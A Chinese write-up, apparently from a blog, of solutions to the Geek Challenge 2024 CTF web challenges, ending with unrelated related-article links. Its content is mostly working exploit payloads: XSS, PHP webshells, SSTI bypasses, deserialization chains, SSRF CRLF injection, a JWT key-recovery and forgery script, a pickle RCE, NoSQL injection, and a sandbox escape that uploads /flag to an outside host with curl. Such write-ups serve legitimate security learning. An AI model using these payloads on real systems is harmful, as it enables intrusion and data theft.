极客大挑战2024-web-wp(详细)

100%的

js逆向,主要逻辑就在html文件里,直接搜atob

base64解码即可

Problem_On_My_Web

留言板过滤不严导致xss,直接,填127.0.0.1给bot,这时python报错会给出cookie(多提交两次),这可能是非预期。。

正常可以让bot把flag写到留言板

复制代码
<script>fetch('/flag').then(response              =>               response.text()).then(data              =>{      fetch('/content/68a58f4d322e7ce51a55c03ec8651839',{headers:{'Content-Type' :'application/x-www-form-urlencoded'}, body:"content=123"%2bdata }) }) </script>

SecretInDrivingSchool

后台在此

根据提示猜解账号密码

账号admin

密码SYC@chengxing

可以编辑广告页面的php,过滤了eval,system用``执行系统命令

``echo `cat /flag```

baby_upload

检测的点后第一个后缀,直接上传一句话木马

1.jpg.php

复制代码
<?php eval($_POST['hack']); ?>

拿到shell后system('cat /flag');

ezpop

复制代码
$syc = new SYC();
$lover = new lover();
$geek = new Geek();
$lover->J1rry = "data://,Welcome GeekChallenge 2024";
$lover->meimeng = $geek;
$syc->starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess";
$geek->GSBP = array($syc, 'a');
echo (serialize($lover));

g e e k − > G S B P = a r r a y ( geek->GSBP = array( geek−>GSBP=array(syc, 'a');

通过数组形式调用SYC类中不存在的方法,触发__call()

$syc->starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess";

用.htaccess预包含绕过死亡exit()

Can_you_Pass_Me

ssti模板注入

过滤了{``{}}{%%}

过滤了.|attr

过滤了[]可以用.pop(140),也就是|attr('po''p')(140)

对正则匹配字符串的绕过可以用''分隔开关键词

payload如下

复制代码
name={%print(''|attr('__cla''ss__')|attr('__ba''se__')|attr('__subcla''sses__')()|attr('po''p')(140)|attr('__in''it__')|attr('__glob''als__')|attr('po''p')('po''p''en')('env|ba''se64')|attr('re''ad')())%}

ez_include

复制代码
http://80-f7a500b3-d69d-4fd4-a949-6d6aee05e6ef.challenge.ctfplus.cn/index.php?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

重复软链接绕过require_once

再利用register_argc_argv=on和pearcmd上传一个php到tmp

复制代码
+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['cmd'])?>+/tmp/1.php

执行包含

复制代码
http://80-f7a500b3-d69d-4fd4-a949-6d6aee05e6ef.challenge.ctfplus.cn/levelllll2.php?syc=/tmp/1.php

打个env

rce_me

start=start1now

非法变量传参加0e绕过

_[2024.geekchallenge.ctf=10932435112

if (intval($year) < 2024 && intval($year + 1) > 2025)

科学计数法中e在intval时解析成字母,截断转换,而在加法中正常表现为科学计数法

year=2023e2

purpose=rce

code=system('cat /flag');

ez_SSRF

由www.zip获取源码,原生类soupclient解析数组时 被当成http请求中的换行,于是可以插入新数据,包括post data

先做身份的伪造$auth=aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3s

编码过去得到

AUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0

然后传入expression进行rce

payload如下

复制代码
user=le0n%0D%0AAUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Type: application/x-www-form-urlencoded%0D%0AContent-Length: 35%0D%0A%0D%0Aexpression=`cat /flag`%26aa=

ez_http

按要求传参

本地访问检测的x-real-ip而不是x-forwarded-for

jwt没有检查签名,hasflag改成true就行

PHP不比Java差

复制代码
$ch=new Challenge();
$geek=new Geek();
$syc=new Syclover();
$geek->a='a';
$geek->b=$syc;
$syc->Where='ReflectionFunction';
$syc->IS='system';
$syc->Starven='invokeArgs';
$syc->Girlfriend=array('whoami');
echo(serialize($geek));

implode遍历打印数组触发__toString,再new一个原生类调用其一个方法(这里用ReflectionFunction)

复制代码
<?php


$a=new ReflectionFunction('call_user_func');
$a->invokeArgs(array('system','whoami'));


$a=new ReflectionFunction('system');
$a->invokeArgs(array('whoami'));
?>

拿到命令执行再suid越权读取文件,先找可用来提权的

发现可以用file越权读文件

py_game

flask session爆破用常用字典

flask-unsign --cookie "<指定seesion>" --unsign

伪造成admin得到pyc

flask-unsign --sign --cookie "<指定要加密的数据>" --secret '<指定secret_key>'

还原py

uncompyle6 app.pyc

得到源码

复制代码
# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.12.4 (tags/v3.12.4:8e8a4ba, Jun  6 2024, 19:30:16) [MSC v.1940 64 bit (AMD64)]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
#cookie=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.ZymUWA.SmsGfsiVVsmwrWetvPIFaSgQRDc
class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k):
                if isinstance(v, dict):
                    update(v, dst.get(k))
            dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.username == username:
                flash("用户名已存在", "error")
                return redirect(url_for("register"))

        new_user = User(username, password)
        Users.append(new_user)
        flash("注册成功!请登录", "success")
        return redirect(url_for("login"))
    else:
        return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.check({'username':username,  'password':password}):
                session["username"] = username
                flash("登录成功", "success")
                return redirect(url_for("dashboard"))

        flash("用户名或密码错误", "error")
        return redirect(url_for("login"))
    else:
        return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
    if "username" in session:
        with open("/app/templates/play.html", "r", encoding="utf-8") as file:
            play_html = file.read()
        return play_html
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if "username" in session:
        if session["username"] == "admin":
            return render_template("admin.html", username=(session["username"]))
    flash("你没有权限访问", "error")
    return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
    return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/dashboard")
def dashboard():
    if "username" in session:
        is_admin = session["username"] == "admin"
        if is_admin:
            user_tag = "Admin User"
        else:
            user_tag = "Normal User"
        return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
    try:
        xml_bytes = app.config["xml_data"].encode("utf-8")
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
        return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
        return str(e)


black_list = [
 "__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False

    return True


@app.route("/update", methods=["POST"])
def update_route():
    if "username" in session:
        if session["username"] == "admin":
            if request.data:
                try:
                    if not check(request.data):
                        return ('NONONO, Bad Hacker', 403)
                    else:
                        data = json.loads(request.data.decode())
                        print(data)
                        if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
                            update(data, User)
                            return (jsonify({"message": "更新成功"}), 200)
                        return ('Invalid character', 400)
                except Exception as e:
                    return (
                     f"Exception: {str(e)}", 500)

        else:
            return ('No data provided', 400)
    else:
        flash("你没有权限访问", "error")
        return redirect(url_for("login"))


if __name__ == "__main__":
    # app.run(host="0.0.0.0", port=80, debug=False)
    print(User.__init__.__globals__['app'].config['xml_data'])
    {"username":"leon","__init__":{"__globals__":{"app":{"config":{"xml_data":"<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2222</Year><Description>This is a challenge event for geeks in the year 2222.</Description></GeekChallenge2024>"}}}}}

污染一下xml文件打一个xxe,json可以用16进制编码绕过,file被过滤了大小写绕过即可

not just pop

复制代码
$lh = new lhRaMK7();
$lh2= new lhRaMK7();
$pa = new Parar();
$st = new Starven();
$syc = new SYC();
$lh->web = $lh2;
$lh2->love="eval($_POST['hack']);";
$lh2->You=1;
$lh2->Do=1;
$lh->love = "1";
$lh->You=$pa;
$lh->Do="999";
$pa->lead = $st;
$st->girl = $pa;
$pa->execurise = "man!";
$pa->hansome = $syc;
$syc->forever = $st;
$st->friend=$lh2;

echo (base64_encode((serialize($lh))));

用__wakeup方法让引用lhRaMK7类实例对象的对象不再引用它(创建了两个IhRaMK7类的实例对象),一旦失去对象引用,就会触发__destruct,绕过throw exception,payload base64编码后长这样

复制代码
?Syclover=Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtzOjM6Ijk5OSI7czozOiJZb3UiO086NToiUGFyYXIiOjM6e3M6OToiZXhlY3VyaXNlIjtzOjQ6Im1hbiEiO3M6NDoibGVhZCI7Tzo3OiJTdGFydmVuIjoyOntzOjQ6ImdpcmwiO3I6MztzOjY6ImZyaWVuZCI7Tzo3OiJsaFJhTUs3Ijo0OntzOjI6IkRvIjtpOjE7czozOiJZb3UiO2k6MTtzOjQ6ImxvdmUiO3M6MjE6ImV2YWwoJF9QT1NUWydoYWNrJ10pOyI7czozOiJ3ZWIiO047fX1zOjc6ImhhbnNvbWUiO086MzoiU1lDIjoyOntzOjEwOiIAU1lDAGxvdmVyIjtOO3M6NzoiZm9yZXZlciI7cjo1O319czo0OiJsb3ZlIjtzOjE6IjEiO3M6Mzoid2ViIjtyOjc7fQ==

拿到rce后蚁剑链接,绕过disable_functions

发现可以用env提权,直接sudo env cat /flag

jwt_pickle

先用两个jwt获取公钥

复制代码
import sys
import json
import base64
from gmpy2 import mpz,gcd,c_div
import binascii
from Crypto.Hash import SHA256, SHA384, SHA512
from Crypto.Signature import pkcs1_15 # god bless http://ratmirkarabut.com/articles/ctf-writeup-google-ctf-quals-2017-rsa-ctf-challenge/
import asn1tools
import binascii
import time
import hmac
import hashlib

def b64urldecode(b64):
    return base64.urlsafe_b64decode(b64+("="*(len(b64) % 4)))

def b64urlencode(m):
    return base64.urlsafe_b64encode(m).strip(b"=")

def bytes2mpz(b):
    return mpz(int(binascii.hexlify(b),16))


def der2pem(der, token="RSA PUBLIC KEY"):
    der_b64=base64.b64encode(der).decode('ascii')
    
    lines=[ der_b64[i:i+64] for i in range(0, len(der_b64), 64) ]
    return "-----BEGIN %s-----
%s
-----END %s-----
" % (token, "
".join(lines), token)


def forge_mac(jwt0, public_key):
    jwt0_parts=jwt0.encode('utf8').split(b'.')
    jwt0_msg=b'.'.join(jwt0_parts[0:2])

    alg=b64urldecode(jwt0_parts[0].decode('utf8'))
    # Always use HS256
    alg_tampered=b64urlencode(alg.replace(b"RS256",b"HS256").replace(b"RS384", b"HS256").replace(b"RS512", b"HS256"))

    payload=json.loads(b64urldecode(jwt0_parts[1].decode('utf8')))
    payload['exp'] = int(time.time())+86400
    #print(payload)

    payload_encoded=b64urlencode(json.dumps(payload).encode('utf8'))

    tamper_hmac=b64urlencode(hmac.HMAC(public_key,b'.'.join([alg_tampered, payload_encoded]),hashlib.sha256).digest())

    jwt0_tampered=b'.'.join([alg_tampered, payload_encoded, tamper_hmac])
    print("[+] Tampered JWT: %s" % (jwt0_tampered))
    return jwt0_tampered

# e=mpz(65537) # Can be a couple of other common values

jwt0=sys.argv[1]
jwt1=sys.argv[2]

alg0=json.loads(b64urldecode(jwt0.split('.')[0]))
alg1=json.loads(b64urldecode(jwt1.split('.')[0]))

if not alg0["alg"].startswith("RS") or not alg1["alg"].startswith("RS"):
    raise Exception("Not RSA signed tokens!")
if alg0["alg"] == "RS256":
    HASH = SHA256
elif alg0["alg"] == "RS384":
    HASH = SHA384
elif alg0["alg"] == "RS512":
    HASH = SHA512
else:
    raise Exception("Invalid algorithm")
jwt0_sig_bytes = b64urldecode(jwt0.split('.')[2])
jwt1_sig_bytes = b64urldecode(jwt1.split('.')[2])
if len(jwt0_sig_bytes) != len(jwt1_sig_bytes):
    raise Exception("Signature length mismatch") # Based on the mod exp operation alone, there may be some differences!

jwt0_sig = bytes2mpz(jwt0_sig_bytes)
jwt1_sig = bytes2mpz(jwt1_sig_bytes)

jks0_input = ".".join(jwt0.split('.')[0:2])
hash_0=HASH.new(jks0_input.encode('ascii'))
padded0 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_0, len(jwt0_sig_bytes))

jks1_input = ".".join(jwt1.split('.')[0:2])
hash_1=HASH.new(jks1_input.encode('ascii'))
padded1 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_1, len(jwt0_sig_bytes))

m0 = bytes2mpz(padded0) 
m1 = bytes2mpz(padded1)

pkcs1 = asn1tools.compile_files('pkcs1.asn', codec='der')
x509 = asn1tools.compile_files('x509.asn', codec='der')

jwts=[]

for e in [mpz(3),mpz(65537)]:
    gcd_res = gcd(pow(jwt0_sig, e)-m0,pow(jwt1_sig, e)-m1)
    #To speed things up switch comments on prev/next lines!
    #gcd_res = mpz(0x143f02c15c5c79368cb9d1a5acac4c66c5724fb7c53c3e048eff82c4b9921426dc717b2692f8b6dd4c7baee23ccf8e853f2ad61f7151e1135b896d3127982667ea7dba03370ef084a5fd9229fc90aeed2b297d48501a6581eab7ec5289e26072d78dd37bedd7ba57b46cf1dd9418cd1ee03671b7ff671906859c5fcda4ff5bc94b490e92f3ba9739f35bd898eb60b0a58581ebdf14b82ea0725f289d1dac982218d6c8ec13548f075d738d935aeaa6260a0c71706ccb8dedef505472ce0543ec83705a7d7e4724432923f6d0d0e58ae2dea15f06b1b35173a2f8680e51eff0fb13431b1f956cf5b08b2185d9eeb26726c780e069adec0df3c43c0a8ad95cbd342)
    print("[*] GCD: ",hex(gcd_res))
    for my_gcd in range(1,100):
        my_n=c_div(gcd_res, mpz(my_gcd))
        if pow(jwt0_sig, e, my_n) == m0:
            print("[+] Found n with multiplier" ,my_gcd, " :
", hex(my_n))
            pkcs1_pubkey=pkcs1.encode("RSAPublicKey", {"modulus": int(my_n), "publicExponent": int(e)})
            x509_der=x509.encode("PublicKeyInfo",{"publicKeyAlgorithm":{"algorithm":"1.2.840.113549.1.1.1","parameters":None},"publicKey":(pkcs1_pubkey, len(pkcs1_pubkey)*8)})
            pem_name = "%s_%d_x509.pem" % (hex(my_n)[2:18], e)
            with open(pem_name, "wb") as pem_out:
                public_key=der2pem(x509_der, token="PUBLIC KEY").encode('ascii')
                pem_out.write(public_key)
                print("[+] Written to %s" % (pem_name))
                jwts.append(forge_mac(jwt0, public_key))
            pem_name = "%s_%d_pkcs1.pem" % (hex(my_n)[2:18], e)
            with open(pem_name, "wb") as pem_out:
                public_key=der2pem(pkcs1_pubkey).encode('ascii')
                pem_out.write(public_key)
                print("[+] Written to %s" % (pem_name))
                jwts.append(forge_mac(jwt0, public_key))

print("="*80)
print("Here are your JWT's once again for your copypasting pleasure")
print("="*80)
for j in jwts:
    print(j.decode('utf8'))




# Test values:
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJqb2UiLCJleHAiOjEzMDA4MTkzODAsImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.IDcgYnWIJ0my4FurSqfiAAbYBz2BfImT-uSqKKnk-JfncL_Nreo8Phol1KNn9fK0ZmVfcvHL-pUvVUBzI5NrJNCFMiyZWxS7msB2VKl6-jAXr9NqtVjIDyUSr_gpk51xSzHiBPVAnQn8m1Dg3dR0YkP9b5uJ70qpZ37PWOCKYAIfAhinDA77RIP9q4ImwpnJuY3IDuilDKOq9bsb6zWB8USz0PAYReqWierdS4TYAbUFrhuGZ9mPgSLRSQVtibyNTSTQYtfghYkmV9gWyCJUVwMGCM5l1xlylHYiioasBJA1Wr_NAf_sr4G8OVrW1eO01MKhijpaE8pR6DvPYNrTMQ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJqb2UiLCJleHAiOjEzMDA4MTkzODEsImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.AH-6ZBGA38IjQdBWbc9mPSPwdHGBcNUw1fT-FhhRA-DnX7A7Ecyaip0jt7gOkuvlXfSBXC91DU6FH7rRcnwgs474jgWCAQm6k5hOngOIce_pKQ_Pk1JU_jFKiKzm668htfG06p9caWa-NicxBp42HKB0w9RRBOddnfWk65d9JTI89clgoLxxz7kbuZIyWAh-Cp1h3ckX7XZmknTNqncq4Y2_PSlcTsJ5aoIL7pIgFQ89NkaHImALYI7IOS8nojgCJnJ74un4F6pzt5IQyvFPVXeODPf2UhMEIEyX3GEcK3ryrD_DciJCze3qjtcjR1mBd6zvAGOUtt6XHSY7UHJ3gg


python jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.Ro_KSo9_Q-EnYCssTEWIcj8EdnfCh1L4v5um4fD3Ryn13JtT0Hb2T2dMWObyxq9nDYpOt_HvsIORdx487YWdfB6OS7EpjDkiyws0XIcoHE0hZdOLbM5ZbSpYwp3L3YGBXFMqafH4WhwoLzf52QSGcg0jSfuc2IvfywFe2u1Qb4B7hg0BA5zfwrcNhHcz1Hwq9z2DzyMqxq4xjW8zER0Wop8n7hhLz8N63Mo_Nfz9DYTDK0XCEnlkWYCOzaXGx_yEOMsvj3pa4JpJH5laPA3tnIhLK7XIlOyqu8CkNtV7Q7hJX4ATOTxcC3RnlL_cwRcMX-Z2Hdo2rLCs82oXgWAb6Q eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.FHLW69mCDf5L4shZGGfmFQP68kPpJMDmDgCaqiygZhpsWRlTdgPGGnu9EWoOvc3eGMh-quyiiMnVSmb7ZMmmsgMlnYlkX6DuSlDdSGnZHr0NqLcgnSTHHrx3ncwIsnIQuq_g0DDjcbIUoMPeuUUk2M1oBPbc2iKkl5H17ZaLUFxkjzJs24Mo6hRdqoJN49qcTzwooDutd86nGpbmk87fs1HRR5KdjQmBKLZy37h2FcVmE8kpRlXHx42unFW9ojelZ5qn630BKzPM4jNSCC7ymSYxMXFdv4oplXvJBOtj0ugC_-6HKJyh1Q6www4wPXYUv3DGkS9NqvnAWrP-lMvZdg

再用公钥做HS256签名(我直接改的jwt_forgery里的exp)。

把opcode注进introduction

复制代码
import pickle
import base64
import subprocess
from flask import Flask, request, render_template_string, make_response, render_template, send_file

class Exploit:
    def __reduce__(self):
        return (subprocess.getoutput, ('cat /flag',))

# 序列化恶意对象并进行 Base64 编码
print(pickle.dumps(Exploit()))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

noSandbox

先nosql重言式注入绕过manggodb登陆限制

{"username":{"$gt": ""},"password":{"$gt": ""}}

然后是沙盒逃逸

这里沙盒逃逸上下文对象传null,只能用arguments.callee.caller指向外部调用对象,用Proxy对象的get钩子钩住调用者,而只有报错才能拼接字符串触发钩子,所以将Proxy对象当成错误扔出

复制代码
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor(`return proceSs`.toLowerCase()))();
            const obj = p.mainModule.require(`child_proceSs`.toLowerCase());
            const ex = Object.getOwnPropertyDescriptor(obj, `exeC`.toLowerCase());
            return ex.value(`curl -T /flag  http://requestbin.cn:80/1kxwxa11`).toString();
        }
    })

当然还要绕过过滤,用tolowercase进行大小写绕过关键词过滤,没有回显就直接外带

相关推荐
dualven_in_csdn1 小时前
搞了两天的win7批处理脚本问题
java·linux·前端
你的人类朋友2 小时前
✍️【Node.js程序员】的数据库【索引优化】指南
前端·javascript·后端
小镇学者2 小时前
【PHP】导入excel 报错Trying to access array offset on value of type int
android·php·excel
小超爱编程2 小时前
纯前端做图片压缩
开发语言·前端·javascript
应巅3 小时前
echarts 数据大屏(无UI设计 极简洁版)
前端·ui·echarts
Jimmy3 小时前
CSS 实现描边文字效果
前端·css·html
islandzzzz4 小时前
HMTL+CSS+JS-新手小白循序渐进案例入门
前端·javascript·css·html
Senar4 小时前
网页中如何判断用户是否处于闲置状态
前端·javascript
很甜的西瓜4 小时前
typescript软渲染实现类似canvas的2d矢量图形引擎
前端·javascript·typescript·图形渲染·canvas
Allen Bright4 小时前
【CSS-9】深入理解CSS字体图标:原理、优势与最佳实践
前端·css